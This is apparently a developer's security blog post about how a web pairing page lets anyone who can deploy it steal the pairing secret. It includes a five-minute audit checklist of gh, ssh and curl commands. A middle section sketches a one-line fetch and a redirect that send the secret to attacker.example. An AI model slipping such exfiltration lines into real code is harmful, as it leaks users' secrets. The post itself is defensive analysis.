building awe.

Your pairing page is only as safe as whoever can deploy it

A page that pairs a phone and approves actions trusts everyone who can deploy it. How I found that in my own pairing flow, plus a five-minute check for yours.

Chad Priest / / 8 min read

On 2026-10-15 I paired my phone to my Mac through a web page. You scan a QR code, approve with Face ID, and push notifications work. I had spent the day signing every Mac-to-relay request (Ed25519, timestamp, nonce). That evening I wrote one line in my notes: “The app server and deploy path (who can push to the app repo and deploy) are the bigger pairing risk: a modified page could steal the secret or approve actions as the user.” I’d hardened the wire and left the page alone.

This has happened to other people, at scale. In 2021 attackers modified Codecov’s Bash Uploader, a script Codecov served from its own infrastructure, so that it sent customers’ CI environment variables to a host the attackers controlled. In 2018 the event-stream npm package picked up a dependency written to steal wallet keys from one specific app that bundled it. In 2024 polyfill.io changed owners, and the script that thousands of sites loaded from that domain started serving malicious redirects. Each time the code came from a place its users had every reason to trust, because the people who could change that place had changed.

Anyone who can merge or hold the SSH key can ship a /pair that approves

The pairing page creates the pairing secret and renders the Approve button. It reaches users through one deploy script that copies built files onto an nginx box. Anyone who can merge to that repo, or who holds the SSH key the script uses, can ship a page that does everything it does now and also sends the secret somewhere else.

After one pairing, the attacker has a copy of the secret, which is what my Mac and the relay accept as proof of a paired device. With it they can register their own device as me and approve whatever my phone could approve, for as long as the pairing lasts. My phone shows nothing unusual. The leak happens inside the browser tab, the phone sees a normal pairing, and Face ID passes because it really is me pressing the button. Even when the page doesn’t steal the secret, it controls the text next to the Approve button, so it can describe one action and submit another.

A sketch of the malicious /pair, not a staging demo with a request log

The editor’s first ask was to build the malicious /pair, put it on staging, and show the request arriving at a host I control. I haven’t done that, and I won’t show you a request log I don’t have. Here is the entire change an attacker needs. It’s a sketch, not code from my repo:

// added anywhere in the bundle that /pair loads
fetch('https://attacker.example/c', { method: 'POST', mode: 'no-cors', body: pairingSecret });

A CSP connect-src rule might block that one line. It won’t block location = 'https://attacker.example/?s=' + pairingSecret after pairing finishes, or a POST to an origin the policy already allows. Besides, my CSP sits in an nginx include on the same box the deploy writes to. CSP and Subresource Integrity defend you against third-party scripts. They don’t defend you against your own deploy. Cloudflare’s Improving the trustworthiness of Javascript on the Web calls this a code-distribution problem, and I think they’re right.

The staging test I owe is that patch, deployed the normal way, with a listener on a box I control. It passes if no secret arrives. I expect it to fail.

Who can approve as the user equals who can change bytes at the pairing URL

The set of principals who can approve as the user equals the set who can change the bytes served at the pairing URL, and that set must be no larger than the set you would hand the device to.

This applies to more than my flow: a PWA companion that pairs with a local agent, a passkey approval page served from your own domain, a browser-based E2EE client, any static site that a GitHub Actions workflow pushes to a CDN. “Who can change the bytes” includes people and pipelines that never open a pull request.

Count who can change /pair in five minutes

Replace OWNER/REPO, ORG, your.app and the box name with your own.

# 1. People who can push, and who are admins.
gh api repos/OWNER/REPO/collaborators --paginate \
  --jq '.[] | select(.permissions.push or .permissions.admin) | "\(.login) admin=\(.permissions.admin)"'

# 2. Deploy keys with write access. Each one counts as a person.
gh api repos/OWNER/REPO/keys --jq '.[] | select(.read_only == false) | .title'

# 3. GitHub Apps installed on the org. Count every one with contents: write.
#    (Needs org admin. On a personal repo: Settings → Integrations → GitHub Apps.)
gh api orgs/ORG/installations \
  --jq '.installations[] | select(.permissions.contents == "write") | .app_slug'

# 4. Actions secrets. Anyone who can push a workflow to a branch that can read
#    them holds them, unless an environment with required reviewers gates them.
gh secret list --repo OWNER/REPO
gh api repos/OWNER/REPO/environments --jq '.environments[] | {name, protection_rules}'

# 5. Branch protection, both kinds. Rulesets don't show up in the classic
#    endpoint, which returns 404 "Branch not protected" even when a ruleset applies.
gh api repos/OWNER/REPO/rules/branches/main
gh api repos/OWNER/REPO/rulesets --jq '.[].id' | while read id; do
  gh api repos/OWNER/REPO/rulesets/$id --jq '{name, enforcement, bypass_actors}'
done
gh api repos/OWNER/REPO/branches/main/protection \
  --jq '{reviews: .required_pull_request_reviews, enforce_admins: .enforce_admins.enabled}'

# 6. The server. Every key here can skip GitHub completely.
ssh deploy@your-box 'cat ~/.ssh/authorized_keys' | awk '{print $NF}'
ssh root@your-box  'cat ~/.ssh/authorized_keys' | awk '{print $NF}'

# 7. DNS, CDN and certificate. Whoever controls these can serve a different /pair.
dig +short NS your.app
whois your.app | grep -i registrar
echo | openssl s_client -connect your.app:443 -servername your.app 2>/dev/null \
  | openssl x509 -noout -issuer

Some of this isn’t in an API, so check it by hand. List who can log in to the registrar account, the DNS provider, the CDN account and the cloud console that hosts the box. Also check certificate transparency for certificates issued for your domain that you didn’t request.

Add up steps 1 through 7 plus the manual list. That’s your set.

Then hash what actually runs. The HTML shell is the wrong thing to hash. The secret lives in the JS bundles the shell loads, and nginx may add a CSP nonce to the shell that changes its hash for innocent reasons. Hash every script, stylesheet and wasm file the page pulls in:

# Served bytes. Lazy-loaded chunks won't appear in the HTML, so also open /pair
# with DevTools → Network and add any script that isn't in this list.
curl -s https://your.app/pair \
  | grep -oE '(src|href)="/[^"]+\.(js|css|wasm)"' | cut -d'"' -f2 | sort -u \
  | while read p; do echo "$(curl -s "https://your.app$p" | shasum -a 256 | cut -c1-64)  $p"; done

# Built bytes, from a tag you have verified, not from whatever main is now.
git verify-tag vX.Y.Z && git checkout vX.Y.Z && npm ci && npm run build
(cd dist && find . -type f \( -name '*.js' -o -name '*.css' -o -name '*.wasm' \) -exec shasum -a 256 {} +)

To be clear about what this proves: a match means nobody changed the files between the build and the server. That catches a tampered box, a hijacked CDN, or someone using the SSH key directly. It does nothing about a malicious commit. dist/ is built from the same repo the attacker can push to, so a poisoned commit hashes identically on both sides. If your build isn’t reproducible, the hashes can also differ for no bad reason. Find out why before you trust either result.

You pass if every name in the set is someone you’d hand your unlocked phone to, steps 2 and 3 show nothing you can’t explain, bypass_actors is empty or names only those people, enforce_admins is true or the only admins are those people, and every served asset matches your build from the verified tag. You fail if the set includes a bot, a former contractor, an App nobody remembers installing, or a key nobody can attribute to anyone.

What I’d change, graded against the invariant

None of these is shipped. This is the order I’d do them in.

  • Move secret generation off the web origin. The native app on the Mac or phone generates the keypair, and the page only displays a QR of the public half. A modified page can no longer steal the secret. It can still lie about what you’re approving, so the deploy set shrinks out of theft but stays in approval. Partial.
  • Show the approved action on the device, from a payload the Mac signed. The phone’s native approval screen displays the action from signed data, not page text, so a lying page can’t change what I see when I press Face ID. Paired with the first change, this takes the page out of the set entirely. Passes.
  • Pin the page’s asset hashes inside the native app. The app loads /pair and refuses to run it if any asset hash differs from the list shipped in the app binary. The set becomes whoever can sign and ship an app update. That’s smaller, but every page change now needs an app release. Passes, at a real cost.
  • Isolated Web Apps or signed web bundles. The set becomes whoever holds the bundle signing key. Today that’s Chrome only, which doesn’t help on the phone. Passes where it runs.
  • CSP and SRI. They live on the origin you’re defending, so the people you’re worried about control them. Fails.
  • Transparency logs, the Cloudflare approach. You find out after someone has already been served the bad page. That’s worth having, but it doesn’t keep anyone out of the set. Detection, not a pass.

If your pairing secret has to exist in a browser, assume it belongs to whoever owns your deploy pipeline. I spent a day hardening the wire because that’s where the code I was looking at lived. The attacker would have gone through the page.